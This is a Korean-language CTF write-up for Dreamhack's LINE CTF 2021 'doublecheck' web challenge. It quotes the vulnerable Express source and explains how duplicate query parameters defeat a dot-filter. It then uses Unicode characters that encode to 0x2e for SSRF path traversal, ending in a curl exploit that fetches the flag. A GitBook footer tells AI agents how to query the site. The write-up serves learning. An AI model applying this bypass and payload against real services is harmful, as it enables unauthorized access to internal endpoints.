> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/dreamhack/dreamhack-line-ctf-2021-doublecheck.md).

# \[Dreamhack]\[LINE CTF 2021] doublecheck

문제 링크 : <https://dreamhack.io/wargame/challenges/394>

***

처음에 그냥.. 게싱 삼아 /flag로 접속해보았는데 접근 금지 표시 떴다. 뭔가 가로채서 \~ 또는 권한을 얻어서 flag를 얻는다는건 알겠다.

소스코드를 보자.

**app.js**

```
const createError = require('http-errors')
const express = require('express')
const bodyParser = require('body-parser')
const path = require('path')
const logger = require('morgan')
const querystring = require('querystring')
const http = require('http')
const process = require('process')

const app = express()
const port = process.env.PORT || '3000'

logger.token('body', (req, res) => req.body.length ? req.body : '-')
app.use(logger(':method :url :status :response-time ms - :res[content-length] :body'))
app.use(bodyParser.text({ type: 'text/plain' }))
app.use(express.static(path.join(__dirname, 'public')))

app.post('/', function (req, res, next) {
  const body = req.body
  if (typeof body !== 'string') return next(createError(400))

  if (validate(body)) return next(createError(403))
  const { p } = querystring.parse(body)
  if (validate(p)) return next(createError(403))

  try {
    http.get(`http://localhost:${port}/api/vote/` + encodeURI(p), r => {
      let chunks = ''
      r.on('data', (chunk) => {
        chunks += chunk
      })
      r.on('end', () => {
        res.send(chunks.toString())
      })
    })
  } catch (error) {
    next(createError(404))
  }
})

const vote = { good: 0, bad: 0 }
app.get('/votes', function (req, res, next) {
  res.json(vote)
})

// internal apis
app.get('/api/vote/:type', internalHandler, function (req, res, next) {
  if (req.params.type === 'bad') vote.bad += 1
  else vote.good += 1
  res.send('ok')
})

app.get('/flag', internalHandler, function (req, res, next) {
  const flag = process.env.FLAG || 'DH{****}'
  res.send(flag)
})

// catch 404 and forward to error handler
app.use(function (req, res, next) {
  next(createError(404))
})

// error handler
app.use(function (err, req, res, next) {
  res.status(err.status || 500)
  res.send(err.message)
})

function internalHandler (req, res, next) {
  if (req.ip === '::ffff:127.0.0.1') next()
  else next(createError(403))
}

function validate (str) {
  return str.indexOf('.') > -1 || str.indexOf('%2e') > -1 || str.indexOf('%2E') > -1
}

module.exports = app
```

여기서 중요한 부분이 있는데,&#x20;

```
app.post('/', function (req, res, next) {
  const body = req.body
  if (typeof body !== 'string') return next(createError(400))

  if (validate(body)) return next(createError(403))
  const { p } = querystring.parse(body)
  if (validate(p)) return next(createError(403))

  try {
    http.get(`http://localhost:${port}/api/vote/` + encodeURI(p), r => {
      let chunks = ''
      r.on('data', (chunk) => {
        chunks += chunk
      })
      r.on('end', () => {
        res.send(chunks.toString())
      })
    })
  } catch (error) {
    next(createError(404))
  }
})
```

p값이라는게 뭔진 모르지만, body를 querystring형태로 파싱하고 {p:"hello",...}, 파싱한 p값을 검증한다. 응답을 스트리밍으로 받은 후 chunk들을 문자열에 누적으로 모아 클라이언트에게 전송한다.

```
function validate (str) {
  return str.indexOf('.') > -1 || str.indexOf('%2e') > -1 || str.indexOf('%2E') > -1
}
```

str 문자열 안에 ., %2e, %2E 중 하나라도 들어있으면 true를 반환하고 없으면 false를 반환한다.

또한, 파라미터의 값이 중복되면 그 값이 배열로 파싱이 된다. 그래서 p가 문자열일거라 가정한 validate()함수가 배열이 오면 제대로 검증하지 못한다.&#x20;

그래서 validate()를 우회하기 위해, "str 문자열 안에 ., %2e, %2E 중 하나라도 들어있으면 true를 반환하고 없으면 false를 반환한다."랑, 중복 파라미터로 인한 파싱을 만들면 된다.

다음과 같이 ssrf를 이용한 익스플로잇을 짜는데, UTF-8 Table("유니코드 번호"를 "몇 바이트로 인코딩"할지, 어떤 패턴으로 인코딩할지를 정리한 표)을 보고 하위 1바이트가 0x2e로 끝나는걸 찾아 페이로드를 작성하면 된다.&#x20;

참고로 UTF-8 Table은 다음과 같다.

유니코드 범위 (U+0000 \~ U+007F) UTF-8 인코딩 설명

| 0x0000 \~ 0x007F (ASCII) | 0xxxxxxx                            | 1바이트 (ASCII와 동일) |
| ------------------------ | ----------------------------------- | ---------------- |
| 0x0080 \~ 0x07FF         | 110xxxxx 10xxxxxx                   | 2바이트             |
| 0x0800 \~ 0xFFFF         | 1110xxxx 10xxxxxx 10xxxxxx          | 3바이트             |
| 0x10000 \~ 0x10FFFF      | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx | 4바이트             |

익스플로잇은 다음과 같이 구성된다.&#x20;

```
curl -v host3.dreamhack.games:14315 -H 'Content-Type: text/plain;charset=UTF-8' --data-raw 'p=abcd&p=%ff/ȮȮ/ȮȮ/ȮȮ/ȮȮ/ȮȮ/ȮȮ/ȮȮ/flag'
```

<figure><img src="https://blog.kakaocdn.net/dna/6VNHY/btsOkQHoIpO/AAAAAAAAAAAAAAAAAAAAAHJlU6PjEK-WHW8o346C41_iXzGce4_BmmxSgqzxo_tD/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=cuMjSkLZEUKlnyythwFHV8YYrbc%3D" alt="" height="452" width="1050"><figcaption></figcaption></figure>

다음과 같이 플래그를 뱉어준다..!

####


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.cooku222.kr/security/web-hacking/dreamhack/dreamhack-line-ctf-2021-doublecheck.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
